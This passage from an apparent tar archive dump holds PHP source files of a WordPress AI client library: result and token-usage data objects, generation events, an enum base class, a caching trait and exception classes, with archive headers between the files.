$this->dismiss_notifications->taxonomy_dismiss( $request['taxonomy_name'] ); return new WP_REST_Response( (object) $response, $response['status'], ); } } Results/DTO/Candidate.php000064400000006647152076731270011247 0ustar00 */ class Candidate extends AbstractDataTransferObject { public const KEY_MESSAGE = 'message'; public const KEY_FINISH_REASON = 'finishReason'; /** * @var Message The generated message. */ private Message $message; /** * @var FinishReasonEnum The reason generation stopped. */ private FinishReasonEnum $finishReason; /** * Constructor. * * @since 0.1.0 * * @param Message $message The generated message. * @param FinishReasonEnum $finishReason The reason generation stopped. */ public function __construct(Message $message, FinishReasonEnum $finishReason) { if (!$message->getRole()->isModel()) { throw new InvalidArgumentException('Message must be a model message.'); } $this->message = $message; $this->finishReason = $finishReason; } /** * Gets the generated message. * * @since 0.1.0 * * @return Message The message. */ public function getMessage(): Message { return $this->message; } /** * Gets the finish reason. * * @since 0.1.0 * * @return FinishReasonEnum The finish reason. */ public function getFinishReason(): FinishReasonEnum { return $this->finishReason; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_MESSAGE => Message::getJsonSchema(), self::KEY_FINISH_REASON => ['type' => 'string', 'enum' => FinishReasonEnum::getValues(), 'description' => 'The reason generation stopped.']], 'required' => [self::KEY_MESSAGE, self::KEY_FINISH_REASON]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return CandidateArrayShape */ public function toArray(): array { return [self::KEY_MESSAGE => $this->message->toArray(), self::KEY_FINISH_REASON => $this->finishReason->value]; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_MESSAGE, self::KEY_FINISH_REASON]); $messageData = $array[self::KEY_MESSAGE]; return new self(Message::fromArray($messageData), FinishReasonEnum::from($array[self::KEY_FINISH_REASON])); } /** * Performs a deep clone of the candidate. * * This method ensures that the message object is cloned to prevent * modifications to the cloned candidate from affecting the original. * * @since 0.4.2 */ public function __clone() { $this->message = clone $this->message; } } Results/DTO/TokenUsage.php000064400000011420152076731270011421 0ustar00 */ class TokenUsage extends AbstractDataTransferObject { public const KEY_PROMPT_TOKENS = 'promptTokens'; public const KEY_COMPLETION_TOKENS = 'completionTokens'; public const KEY_TOTAL_TOKENS = 'totalTokens'; public const KEY_THOUGHT_TOKENS = 'thoughtTokens'; /** * @var int Number of tokens in the prompt. */ private int $promptTokens; /** * @var int Number of tokens in the completion, including any thought tokens. */ private int $completionTokens; /** * @var int Total number of tokens used. */ private int $totalTokens; /** * @var int|null Number of tokens used for thinking, as a subset of completion tokens. */ private ?int $thoughtTokens; /** * Constructor. * * @since 0.1.0 * * @param int $promptTokens Number of tokens in the prompt. * @param int $completionTokens Number of tokens in the completion, including any thought tokens. * @param int $totalTokens Total number of tokens used. * @param int|null $thoughtTokens Number of tokens used for thinking, as a subset of completion tokens. */ public function __construct(int $promptTokens, int $completionTokens, int $totalTokens, ?int $thoughtTokens = null) { $this->promptTokens = $promptTokens; $this->completionTokens = $completionTokens; $this->totalTokens = $totalTokens; $this->thoughtTokens = $thoughtTokens; } /** * Gets the number of prompt tokens. * * @since 0.1.0 * * @return int The prompt token count. */ public function getPromptTokens(): int { return $this->promptTokens; } /** * Gets the number of completion tokens, including any thought tokens. * * @since 0.1.0 * * @return int The completion token count. */ public function getCompletionTokens(): int { return $this->completionTokens; } /** * Gets the total number of tokens. * * @since 0.1.0 * * @return int The total token count. */ public function getTotalTokens(): int { return $this->totalTokens; } /** * Gets the number of thought tokens, which is a subset of the completion token count. * * @since 1.3.0 * * @return int|null The thought token count or null if not available. */ public function getThoughtTokens(): ?int { return $this->thoughtTokens; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_PROMPT_TOKENS => ['type' => 'integer', 'description' => 'Number of tokens in the prompt.'], self::KEY_COMPLETION_TOKENS => ['type' => 'integer', 'description' => 'Number of tokens in the completion, including any thought tokens.'], self::KEY_TOTAL_TOKENS => ['type' => 'integer', 'description' => 'Total number of tokens used.'], self::KEY_THOUGHT_TOKENS => ['type' => 'integer', 'description' => 'Number of tokens used for thinking, as a subset of completion tokens.']], 'required' => [self::KEY_PROMPT_TOKENS, self::KEY_COMPLETION_TOKENS, self::KEY_TOTAL_TOKENS]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return TokenUsageArrayShape */ public function toArray(): array { $data = [self::KEY_PROMPT_TOKENS => $this->promptTokens, self::KEY_COMPLETION_TOKENS => $this->completionTokens, self::KEY_TOTAL_TOKENS => $this->totalTokens]; if ($this->thoughtTokens !== null) { $data[self::KEY_THOUGHT_TOKENS] = $this->thoughtTokens; } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_PROMPT_TOKENS, self::KEY_COMPLETION_TOKENS, self::KEY_TOTAL_TOKENS]); return new self($array[self::KEY_PROMPT_TOKENS], $array[self::KEY_COMPLETION_TOKENS], $array[self::KEY_TOTAL_TOKENS], $array[self::KEY_THOUGHT_TOKENS] ?? null); } } Results/DTO/GenerativeAiResult.php000064400000032757152076731270013136 0ustar00, * tokenUsage: TokenUsageArrayShape, * providerMetadata: ProviderMetadataArrayShape, * modelMetadata: ModelMetadataArrayShape, * additionalData?: array * } * * @extends AbstractDataTransferObject */ class GenerativeAiResult extends AbstractDataTransferObject implements ResultInterface { public const KEY_ID = 'id'; public const KEY_CANDIDATES = 'candidates'; public const KEY_TOKEN_USAGE = 'tokenUsage'; public const KEY_PROVIDER_METADATA = 'providerMetadata'; public const KEY_MODEL_METADATA = 'modelMetadata'; public const KEY_ADDITIONAL_DATA = 'additionalData'; /** * @var string Unique identifier for this result. */ private string $id; /** * @var Candidate[] The generated candidates. */ private array $candidates; /** * @var TokenUsage Token usage statistics. */ private \WordPress\AiClient\Results\DTO\TokenUsage $tokenUsage; /** * @var ProviderMetadata Provider metadata. */ private ProviderMetadata $providerMetadata; /** * @var ModelMetadata Model metadata. */ private ModelMetadata $modelMetadata; /** * @var array Additional data. */ private array $additionalData; /** * Constructor. * * @since 0.1.0 * * @param string $id Unique identifier for this result. * @param Candidate[] $candidates The generated candidates. * @param TokenUsage $tokenUsage Token usage statistics. * @param ProviderMetadata $providerMetadata Provider metadata. * @param ModelMetadata $modelMetadata Model metadata. * @param array $additionalData Additional data. * @throws InvalidArgumentException If no candidates provided. */ public function __construct(string $id, array $candidates, \WordPress\AiClient\Results\DTO\TokenUsage $tokenUsage, ProviderMetadata $providerMetadata, ModelMetadata $modelMetadata, array $additionalData = []) { if (empty($candidates)) { throw new InvalidArgumentException('At least one candidate must be provided'); } $this->id = $id; $this->candidates = $candidates; $this->tokenUsage = $tokenUsage; $this->providerMetadata = $providerMetadata; $this->modelMetadata = $modelMetadata; $this->additionalData = $additionalData; } /** * {@inheritDoc} * * @since 0.1.0 */ public function getId(): string { return $this->id; } /** * Gets the generated candidates. * * @since 0.1.0 * * @return Candidate[] The candidates. */ public function getCandidates(): array { return $this->candidates; } /** * {@inheritDoc} * * @since 0.1.0 */ public function getTokenUsage(): \WordPress\AiClient\Results\DTO\TokenUsage { return $this->tokenUsage; } /** * Gets the provider metadata. * * @since 0.1.0 * * @return ProviderMetadata The provider metadata. */ public function getProviderMetadata(): ProviderMetadata { return $this->providerMetadata; } /** * Gets the model metadata. * * @since 0.1.0 * * @return ModelMetadata The model metadata. */ public function getModelMetadata(): ModelMetadata { return $this->modelMetadata; } /** * {@inheritDoc} * * @since 0.1.0 */ public function getAdditionalData(): array { return $this->additionalData; } /** * Gets the total number of candidates. * * @since 0.1.0 * * @return int The total number of candidates. */ public function getCandidateCount(): int { return count($this->candidates); } /** * Checks if the result has multiple candidates. * * @since 0.1.0 * * @return bool True if there are multiple candidates, false otherwise. */ public function hasMultipleCandidates(): bool { return $this->getCandidateCount() > 1; } /** * Converts the first candidate to text. * * Only text from the content channel is considered. Text within model thought or reasoning is ignored. * * @since 0.1.0 * * @return string The text content. * @throws RuntimeException If no text content. */ public function toText(): string { $message = $this->candidates[0]->getMessage(); foreach ($message->getParts() as $part) { $channel = $part->getChannel(); $text = $part->getText(); if ($channel->isContent() && $text !== null) { return $text; } } throw new RuntimeException('No text content found in first candidate'); } /** * Converts the first candidate to a file. * * Only files from the content channel are considered. Files within model thought or reasoning are ignored. * * @since 0.1.0 * * @return File The file. * @throws RuntimeException If no file content. */ public function toFile(): File { $message = $this->candidates[0]->getMessage(); foreach ($message->getParts() as $part) { $channel = $part->getChannel(); $file = $part->getFile(); if ($channel->isContent() && $file !== null) { return $file; } } throw new RuntimeException('No file content found in first candidate'); } /** * Converts the first candidate to an image file. * * @since 0.1.0 * * @return File The image file. * @throws RuntimeException If no image content. */ public function toImageFile(): File { $file = $this->toFile(); if (!$file->isImage()) { throw new RuntimeException(sprintf('File is not an image. MIME type: %s', $file->getMimeType())); } return $file; } /** * Converts the first candidate to an audio file. * * @since 0.1.0 * * @return File The audio file. * @throws RuntimeException If no audio content. */ public function toAudioFile(): File { $file = $this->toFile(); if (!$file->isAudio()) { throw new RuntimeException(sprintf('File is not an audio file. MIME type: %s', $file->getMimeType())); } return $file; } /** * Converts the first candidate to a video file. * * @since 0.1.0 * * @return File The video file. * @throws RuntimeException If no video content. */ public function toVideoFile(): File { $file = $this->toFile(); if (!$file->isVideo()) { throw new RuntimeException(sprintf('File is not a video file. MIME type: %s', $file->getMimeType())); } return $file; } /** * Converts the first candidate to a message. * * @since 0.1.0 * * @return Message The message. */ public function toMessage(): Message { return $this->candidates[0]->getMessage(); } /** * Converts all candidates to text. * * @since 0.1.0 * * @return list Array of text content. */ public function toTexts(): array { $texts = []; foreach ($this->candidates as $candidate) { $message = $candidate->getMessage(); foreach ($message->getParts() as $part) { $channel = $part->getChannel(); $text = $part->getText(); if ($channel->isContent() && $text !== null) { $texts[] = $text; break; } } } return $texts; } /** * Converts all candidates to files. * * @since 0.1.0 * * @return list Array of files. */ public function toFiles(): array { $files = []; foreach ($this->candidates as $candidate) { $message = $candidate->getMessage(); foreach ($message->getParts() as $part) { $channel = $part->getChannel(); $file = $part->getFile(); if ($channel->isContent() && $file !== null) { $files[] = $file; break; } } } return $files; } /** * Converts all candidates to image files. * * @since 0.1.0 * * @return list Array of image files. */ public function toImageFiles(): array { return array_values(array_filter($this->toFiles(), fn(File $file) => $file->isImage())); } /** * Converts all candidates to audio files. * * @since 0.1.0 * * @return list Array of audio files. */ public function toAudioFiles(): array { return array_values(array_filter($this->toFiles(), fn(File $file) => $file->isAudio())); } /** * Converts all candidates to video files. * * @since 0.1.0 * * @return list Array of video files. */ public function toVideoFiles(): array { return array_values(array_filter($this->toFiles(), fn(File $file) => $file->isVideo())); } /** * Converts all candidates to messages. * * @since 0.1.0 * * @return list Array of messages. */ public function toMessages(): array { return array_values(array_map(fn(\WordPress\AiClient\Results\DTO\Candidate $candidate) => $candidate->getMessage(), $this->candidates)); } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this result.'], self::KEY_CANDIDATES => ['type' => 'array', 'items' => \WordPress\AiClient\Results\DTO\Candidate::getJsonSchema(), 'minItems' => 1, 'description' => 'The generated candidates.'], self::KEY_TOKEN_USAGE => \WordPress\AiClient\Results\DTO\TokenUsage::getJsonSchema(), self::KEY_PROVIDER_METADATA => ProviderMetadata::getJsonSchema(), self::KEY_MODEL_METADATA => ModelMetadata::getJsonSchema(), self::KEY_ADDITIONAL_DATA => ['type' => 'object', 'additionalProperties' => \true, 'description' => 'Additional data included in the API response.']], 'required' => [self::KEY_ID, self::KEY_CANDIDATES, self::KEY_TOKEN_USAGE, self::KEY_PROVIDER_METADATA, self::KEY_MODEL_METADATA]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return GenerativeAiResultArrayShape */ public function toArray(): array { return [self::KEY_ID => $this->id, self::KEY_CANDIDATES => array_map(fn(\WordPress\AiClient\Results\DTO\Candidate $candidate) => $candidate->toArray(), $this->candidates), self::KEY_TOKEN_USAGE => $this->tokenUsage->toArray(), self::KEY_PROVIDER_METADATA => $this->providerMetadata->toArray(), self::KEY_MODEL_METADATA => $this->modelMetadata->toArray(), self::KEY_ADDITIONAL_DATA => $this->additionalData]; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_ID, self::KEY_CANDIDATES, self::KEY_TOKEN_USAGE, self::KEY_PROVIDER_METADATA, self::KEY_MODEL_METADATA]); $candidates = array_map(fn(array $candidateData) => \WordPress\AiClient\Results\DTO\Candidate::fromArray($candidateData), $array[self::KEY_CANDIDATES]); return new self($array[self::KEY_ID], $candidates, \WordPress\AiClient\Results\DTO\TokenUsage::fromArray($array[self::KEY_TOKEN_USAGE]), ProviderMetadata::fromArray($array[self::KEY_PROVIDER_METADATA]), ModelMetadata::fromArray($array[self::KEY_MODEL_METADATA]), $array[self::KEY_ADDITIONAL_DATA] ?? []); } /** * Performs a deep clone of the result. * * This method ensures that all nested objects (candidates, token usage, metadata) * are cloned to prevent modifications to the cloned result from affecting the original. * * @since 0.4.2 */ public function __clone() { $clonedCandidates = []; foreach ($this->candidates as $candidate) { $clonedCandidates[] = clone $candidate; } $this->candidates = $clonedCandidates; $this->tokenUsage = clone $this->tokenUsage; $this->providerMetadata = clone $this->providerMetadata; $this->modelMetadata = clone $this->modelMetadata; } } Results/Contracts/ResultInterface.php000064400000002571152076731270013774 0ustar00 Provider metadata. */ public function getAdditionalData(): array; } Results/Enums/FinishReasonEnum.php000064400000002616152076731270013241 0ustar00 The messages to be sent to the model. */ private array $messages; /** * @var ModelInterface The model that will process the prompt. */ private ModelInterface $model; /** * @var CapabilityEnum|null The capability being used for generation. */ private ?CapabilityEnum $capability; /** * Constructor. * * @since 0.4.0 * * @param list $messages The messages to be sent to the model. * @param ModelInterface $model The model that will process the prompt. * @param CapabilityEnum|null $capability The capability being used for generation. */ public function __construct(array $messages, ModelInterface $model, ?CapabilityEnum $capability) { $this->messages = $messages; $this->model = $model; $this->capability = $capability; } /** * Gets the messages to be sent to the model. * * @since 0.4.0 * * @return list The messages. */ public function getMessages(): array { return $this->messages; } /** * Gets the model that will process the prompt. * * @since 0.4.0 * * @return ModelInterface The model. */ public function getModel(): ModelInterface { return $this->model; } /** * Gets the capability being used for generation. * * @since 0.4.0 * * @return CapabilityEnum|null The capability, or null if not specified. */ public function getCapability(): ?CapabilityEnum { return $this->capability; } /** * Performs a deep clone of the event. * * This method ensures that message objects are cloned to prevent * modifications to the cloned event from affecting the original. * The model object is not cloned as it is a service object. * * @since 0.4.2 */ public function __clone() { $clonedMessages = []; foreach ($this->messages as $message) { $clonedMessages[] = clone $message; } $this->messages = $clonedMessages; } } Events/AfterGenerateResultEvent.php000064400000006353152076731270013457 0ustar00 The messages that were sent to the model. */ private array $messages; /** * @var ModelInterface The model that processed the prompt. */ private ModelInterface $model; /** * @var CapabilityEnum|null The capability that was used for generation. */ private ?CapabilityEnum $capability; /** * @var GenerativeAiResult The result from the model. */ private GenerativeAiResult $result; /** * Constructor. * * @since 0.4.0 * * @param list $messages The messages that were sent to the model. * @param ModelInterface $model The model that processed the prompt. * @param CapabilityEnum|null $capability The capability that was used for generation. * @param GenerativeAiResult $result The result from the model. */ public function __construct(array $messages, ModelInterface $model, ?CapabilityEnum $capability, GenerativeAiResult $result) { $this->messages = $messages; $this->model = $model; $this->capability = $capability; $this->result = $result; } /** * Gets the messages that were sent to the model. * * @since 0.4.0 * * @return list The messages. */ public function getMessages(): array { return $this->messages; } /** * Gets the model that processed the prompt. * * @since 0.4.0 * * @return ModelInterface The model. */ public function getModel(): ModelInterface { return $this->model; } /** * Gets the capability that was used for generation. * * @since 0.4.0 * * @return CapabilityEnum|null The capability, or null if not specified. */ public function getCapability(): ?CapabilityEnum { return $this->capability; } /** * Gets the result from the model. * * @since 0.4.0 * * @return GenerativeAiResult The result. */ public function getResult(): GenerativeAiResult { return $this->result; } /** * Performs a deep clone of the event. * * This method ensures that message and result objects are cloned to prevent * modifications to the cloned event from affecting the original. * The model object is not cloned as it is a service object. * * @since 0.4.2 */ public function __clone() { $clonedMessages = []; foreach ($this->messages as $message) { $clonedMessages[] = clone $message; } $this->messages = $clonedMessages; $this->result = clone $this->result; } } Common/AbstractDataTransferObject.php000064400000011175152076731270013715 0ustar00 * @implements WithArrayTransformationInterface */ abstract class AbstractDataTransferObject implements WithArrayTransformationInterface, WithJsonSchemaInterface, JsonSerializable { /** * Validates that required keys exist in the array data. * * @since 0.1.0 * * @param array $data The array data to validate. * @param string[] $requiredKeys The keys that must be present. * @throws InvalidArgumentException If any required key is missing. */ protected static function validateFromArrayData(array $data, array $requiredKeys): void { $missingKeys = []; foreach ($requiredKeys as $key) { if (!array_key_exists($key, $data)) { $missingKeys[] = $key; } } if (!empty($missingKeys)) { throw new InvalidArgumentException(sprintf('%s::fromArray() missing required keys: %s', static::class, implode(', ', $missingKeys))); } } /** * {@inheritDoc} * * @since 0.1.0 */ public static function isArrayShape(array $array): bool { try { /** @var TArrayShape $array */ static::fromArray($array); return \true; } catch (InvalidArgumentException $e) { return \false; } } /** * Converts the object to a JSON-serializable format. * * This method uses the toArray() method and then processes the result * based on the JSON schema to ensure proper object representation for * empty arrays. * * @since 0.1.0 * * @return mixed The JSON-serializable representation. */ #[\ReturnTypeWillChange] public function jsonSerialize() { $data = $this->toArray(); $schema = static::getJsonSchema(); return $this->convertEmptyArraysToObjects($data, $schema); } /** * Recursively converts empty arrays to stdClass objects where the schema expects objects. * * @since 0.1.0 * * @param mixed $data The data to process. * @param array $schema The JSON schema for the data. * @return mixed The processed data. */ private function convertEmptyArraysToObjects($data, array $schema) { // If data is an empty array and schema expects object, convert to stdClass if (is_array($data) && empty($data) && isset($schema['type']) && $schema['type'] === 'object') { return new stdClass(); } // If data is an array with content, recursively process nested structures if (is_array($data)) { // Handle object properties if (isset($schema['properties']) && is_array($schema['properties'])) { foreach ($data as $key => $value) { if (isset($schema['properties'][$key]) && is_array($schema['properties'][$key])) { $data[$key] = $this->convertEmptyArraysToObjects($value, $schema['properties'][$key]); } } } // Handle array items if (isset($schema['items']) && is_array($schema['items'])) { foreach ($data as $index => $item) { $data[$index] = $this->convertEmptyArraysToObjects($item, $schema['items']); } } // Handle oneOf/anyOf schemas - just use the first one foreach (['oneOf', 'anyOf'] as $keyword) { if (isset($schema[$keyword]) && is_array($schema[$keyword])) { foreach ($schema[$keyword] as $possibleSchema) { if (is_array($possibleSchema)) { return $this->convertEmptyArraysToObjects($data, $possibleSchema); } } } } } return $data; } } Common/Contracts/WithJsonSchemaInterface.php000064400000001136152076731270015167 0ustar00 The JSON schema as an associative array. */ public static function getJsonSchema(): array; } Common/Contracts/WithArrayTransformationInterface.php000064400000002033152076731270017137 0ustar00 */ interface WithArrayTransformationInterface { /** * Converts the object to an array representation. * * @since 0.1.0 * * @return TArrayShape The array representation. */ public function toArray(): array; /** * Creates an instance from array data. * * @since 0.1.0 * * @param TArrayShape $array The array data. * @return self The created instance. */ public static function fromArray(array $array): self; /** * Checks if the array is a valid shape for this object. * * @since 0.1.0 * * @param array $array The array to check. * @return bool True if the array is a valid shape. * @phpstan-assert-if-true TArrayShape $array */ public static function isArrayShape(array $array): bool; } Common/Contracts/AiClientExceptionInterface.php000064400000000527152076731270015653 0ustar00name; // 'FIRST_NAME' * $enum->value; // 'first' * $enum->equals('first'); // Returns true * $enum->is(PersonEnum::firstName()); // Returns true * PersonEnum::cases(); // Returns array of all enum instances * * @property-read string $value The value of the enum instance. * @property-read string $name The name of the enum constant. * * @since 0.1.0 */ abstract class AbstractEnum implements JsonSerializable { /** * @var string The value of the enum instance. */ private string $value; /** * @var string The name of the enum constant. */ private string $name; /** * @var array> Cache for reflection data. */ private static array $cache = []; /** * @var array> Cache for enum instances. */ private static array $instances = []; /** * Constructor is private to ensure instances are created through static methods. * * @since 0.1.0 * * @param string $value The enum value. * @param string $name The constant name. */ final private function __construct(string $value, string $name) { $this->value = $value; $this->name = $name; } /** * Provides read-only access to properties. * * @since 0.1.0 * * @param string $property The property name. * @return mixed The property value. * @throws BadMethodCallException If property doesn't exist. */ final public function __get(string $property) { if ($property === 'value' || $property === 'name') { return $this->{$property}; } throw new BadMethodCallException(sprintf('Property %s::%s does not exist', static::class, $property)); } /** * Prevents property modification. * * @since 0.1.0 * * @param string $property The property name. * @param mixed $value The value to set. * @throws BadMethodCallException Always, as enum properties are read-only. */ final public function __set(string $property, $value): void { throw new BadMethodCallException(sprintf('Cannot modify property %s::%s - enum properties are read-only', static::class, $property)); } /** * Creates an enum instance from a value, throws exception if invalid. * * @since 0.1.0 * * @param string $value The enum value. * @return static The enum instance. * @throws InvalidArgumentException If the value is not valid. */ final public static function from(string $value): self { $instance = self::tryFrom($value); if ($instance === null) { throw new InvalidArgumentException(sprintf('%s is not a valid backing value for enum %s', $value, static::class)); } return $instance; } /** * Tries to create an enum instance from a value, returns null if invalid. * * @since 0.1.0 * * @param string $value The enum value. * @return static|null The enum instance or null. */ final public static function tryFrom(string $value): ?self { $constants = static::getConstants(); foreach ($constants as $name => $constantValue) { if ($constantValue === $value) { return self::getInstance($constantValue, $name); } } return null; } /** * Gets all enum cases. * * @since 0.1.0 * * @return static[] Array of all enum instances. */ final public static function cases(): array { $cases = []; $constants = static::getConstants(); foreach ($constants as $name => $value) { $cases[] = self::getInstance($value, $name); } return $cases; } /** * Checks if this enum has the same value as the given value. * * @since 0.1.0 * * @param string|self $other The value or enum to compare. * @return bool True if values are equal. */ final public function equals($other): bool { if ($other instanceof self) { return $this->is($other); } return $this->value === $other; } /** * Checks if this enum is the same instance type and value as another enum. * * @since 0.1.0 * * @param self $other The other enum to compare. * @return bool True if enums are identical. */ final public function is(self $other): bool { return $this === $other; // Since we're using singletons, we can use identity comparison } /** * Gets all valid values for this enum. * * @since 0.1.0 * * @return string[] List of all enum values. */ final public static function getValues(): array { return array_values(static::getConstants()); } /** * Checks if a value is valid for this enum. * * @since 0.1.0 * * @param string $value The value to check. * @return bool True if value is valid. */ final public static function isValidValue(string $value): bool { return in_array($value, self::getValues(), \true); } /** * Gets or creates a singleton instance for the given value and name. * * @since 0.1.0 * * @param string $value The enum value. * @param string $name The constant name. * @return static The enum instance. */ private static function getInstance(string $value, string $name): self { $className = static::class; if (!isset(self::$instances[$className])) { self::$instances[$className] = []; } if (!isset(self::$instances[$className][$name])) { $instance = new $className($value, $name); self::$instances[$className][$name] = $instance; } /** @var static */ return self::$instances[$className][$name]; } /** * Gets all constants for this enum class. * * @since 0.1.0 * * @return array Map of constant names to values. * @throws RuntimeException If invalid constant found. */ final protected static function getConstants(): array { $className = static::class; if (!isset(self::$cache[$className])) { self::$cache[$className] = static::determineClassEnumerations($className); } return self::$cache[$className]; } /** * Determines the class enumerations by reflecting on class constants. * * This method can be overridden by subclasses to customize how * enumerations are determined (e.g., to add dynamic constants). * * @since 0.1.0 * * @param class-string $className The fully qualified class name. * @return array Map of constant names to values. * @throws RuntimeException If invalid constant found. */ protected static function determineClassEnumerations(string $className): array { $reflection = new ReflectionClass($className); $constants = $reflection->getConstants(); // Validate all constants $enumConstants = []; foreach ($constants as $name => $value) { // Check if constant name follows uppercase snake_case pattern if (!preg_match('/^[A-Z][A-Z0-9_]*$/', $name)) { throw new RuntimeException(sprintf('Invalid enum constant name "%s" in %s. Constants must be UPPER_SNAKE_CASE.', $name, $className)); } // Check if value is valid type if (!is_string($value)) { throw new RuntimeException(sprintf('Invalid enum value type for constant %s::%s. ' . 'Only string values are allowed, %s given.', $className, $name, gettype($value))); } $enumConstants[$name] = $value; } return $enumConstants; } /** * Handles dynamic method calls for enum checking. * * @since 0.1.0 * * @param string $name The method name. * @param array $arguments The method arguments. * @return bool True if the enum value matches. * @throws BadMethodCallException If the method doesn't exist. */ final public function __call(string $name, array $arguments): bool { // Handle is* methods if (str_starts_with($name, 'is')) { $constantName = self::camelCaseToConstant(substr($name, 2)); $constants = static::getConstants(); if (isset($constants[$constantName])) { return $this->value === $constants[$constantName]; } } throw new BadMethodCallException(sprintf('Method %s::%s does not exist', static::class, $name)); } /** * Handles static method calls for enum creation. * * @since 0.1.0 * * @param string $name The method name. * @param array $arguments The method arguments. * @return static The enum instance. * @throws BadMethodCallException If the method doesn't exist. */ final public static function __callStatic(string $name, array $arguments): self { $constantName = self::camelCaseToConstant($name); $constants = static::getConstants(); if (isset($constants[$constantName])) { return self::getInstance($constants[$constantName], $constantName); } throw new BadMethodCallException(sprintf('Method %s::%s does not exist', static::class, $name)); } /** * Converts camelCase to CONSTANT_CASE. * * @since 0.1.0 * * @param string $camelCase The camelCase string. * @return string The CONSTANT_CASE version. */ private static function camelCaseToConstant(string $camelCase): string { $snakeCase = preg_replace('/([a-z])([A-Z])/', '$1_$2', $camelCase); if ($snakeCase === null) { return strtoupper($camelCase); } return strtoupper($snakeCase); } /** * Returns string representation of the enum. * * @since 0.1.0 * * @return string The enum value. */ final public function __toString(): string { return $this->value; } /** * Converts the enum to a JSON-serializable format. * * @since 0.1.0 * * @return string The enum value. */ #[\ReturnTypeWillChange] public function jsonSerialize() { return $this->value; } } Common/Traits/WithDataCachingTrait.php000064400000011762152076731270013762 0ustar00 */ private array $localCache = []; /** * Gets the cache key suffixes managed by this object. * * @since 0.4.0 * * @return list The cache key suffixes. */ abstract protected function getCachedKeys(): array; /** * Gets the base cache key for this object. * * The base cache key is used as a prefix for all cache keys managed by this object. * It should be unique to the implementing class to avoid cache key collisions. * * @since 0.4.0 * * @return string The base cache key. */ abstract protected function getBaseCacheKey(): string; /** * Checks if a value exists in the cache. * * @since 0.4.0 * * @param string $key The cache key suffix (will be appended to the base key). * @return bool True if the value exists in cache, false otherwise. */ protected function hasCache(string $key): bool { $fullKey = $this->buildCacheKey($key); $cache = AiClient::getCache(); if ($cache !== null) { return $cache->has($fullKey); } return array_key_exists($fullKey, $this->localCache); } /** * Gets a value from the cache, or computes and caches it if not present. * * @since 0.4.0 * * @param string $key The cache key suffix (will be appended to the base key). * @param callable $callback The callback to compute the value if not cached. * @param int|\DateInterval|null $ttl The TTL for the cache entry, or null for default. * Ignored for local cache. * @return mixed The cached or computed value. */ protected function cached(string $key, callable $callback, $ttl = null) { if ($this->hasCache($key)) { return $this->getCache($key); } $value = $callback(); $this->setCache($key, $value, $ttl); return $value; } /** * Gets a value from the cache. * * @since 0.4.0 * * @param string $key The cache key suffix (will be appended to the base key). * @param mixed $default The default value to return if the key does not exist. * @return mixed The cached value or the default value if not found. */ protected function getCache(string $key, $default = null) { $fullKey = $this->buildCacheKey($key); $cache = AiClient::getCache(); if ($cache !== null) { return $cache->get($fullKey, $default); } return $this->localCache[$fullKey] ?? $default; } /** * Sets a value in the cache. * * @since 0.4.0 * * @param string $key The cache key suffix (will be appended to the base key). * @param mixed $value The value to cache. * @param int|\DateInterval|null $ttl The TTL for the cache entry, or null for default. Ignored for local cache. * @return bool True on success, false on failure. */ protected function setCache(string $key, $value, $ttl = null): bool { $fullKey = $this->buildCacheKey($key); $cache = AiClient::getCache(); if ($cache !== null) { return $cache->set($fullKey, $value, $ttl); } $this->localCache[$fullKey] = $value; return \true; } /** * Invalidates all caches managed by this object. * * @since 0.4.0 * * @return void */ public function invalidateCaches(): void { foreach ($this->getCachedKeys() as $key) { $this->clearCache($key); } } /** * Clears a value from the cache. * * @since 0.4.0 * * @param string $key The cache key suffix (will be appended to the base key). * @return bool True on success, false on failure. */ protected function clearCache(string $key): bool { $fullKey = $this->buildCacheKey($key); $cache = AiClient::getCache(); if ($cache !== null) { return $cache->delete($fullKey); } unset($this->localCache[$fullKey]); return \true; } /** * Builds the full cache key by combining the base key with the suffix. * * @since 0.4.0 * * @param string $key The cache key suffix. * @return string The full cache key. */ private function buildCacheKey(string $key): string { return $this->getBaseCacheKey() . '_' . $key; } } Common/Exception/TokenLimitReachedException.php000064400000002616152076731270015674 0ustar00maxTokens = $maxTokens; } /** * Returns the token limit that was reached, if known. * * @since 1.0.0 * * @return int|null The token limit, or null if not provided. */ public function getMaxTokens(): ?int { return $this->maxTokens; } } Common/Exception/RuntimeException.php000064400000000675152076731270013767 0ustar00 */ class GenerativeAiOperation extends AbstractDataTransferObject implements OperationInterface { public const KEY_ID = 'id'; public const KEY_STATE = 'state'; public const KEY_RESULT = 'result'; /** * @var string Unique identifier for this operation. */ private string $id; /** * @var OperationStateEnum The current state of the operation. */ private OperationStateEnum $state; /** * @var GenerativeAiResult|null The result once the operation completes. */ private ?GenerativeAiResult $result; /** * Constructor. * * @since 0.1.0 * * @param string $id Unique identifier for this operation. * @param OperationStateEnum $state The current state of the operation. * @param GenerativeAiResult|null $result The result once the operation completes. */ public function __construct(string $id, OperationStateEnum $state, ?GenerativeAiResult $result = null) { $this->id = $id; $this->state = $state; $this->result = $result; } /** * Creates a deep clone of this operation. * * Clones the result object if present to ensure the cloned * operation is independent of the original. * The state enum is immutable and can be safely shared. * * @since 0.4.2 */ public function __clone() { // Clone the result if present (GenerativeAiResult has __clone) if ($this->result !== null) { $this->result = clone $this->result; } // Note: $state is an immutable enum and can be safely shared } /** * {@inheritDoc} * * @since 0.1.0 */ public function getId(): string { return $this->id; } /** * {@inheritDoc} * * @since 0.1.0 */ public function getState(): OperationStateEnum { return $this->state; } /** * Gets the operation result. * * @since 0.1.0 * * @return GenerativeAiResult|null The result or null if not yet complete. */ public function getResult(): ?GenerativeAiResult { return $this->result; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['oneOf' => [ // Succeeded state - has result ['type' => 'object', 'properties' => [self::KEY_ID 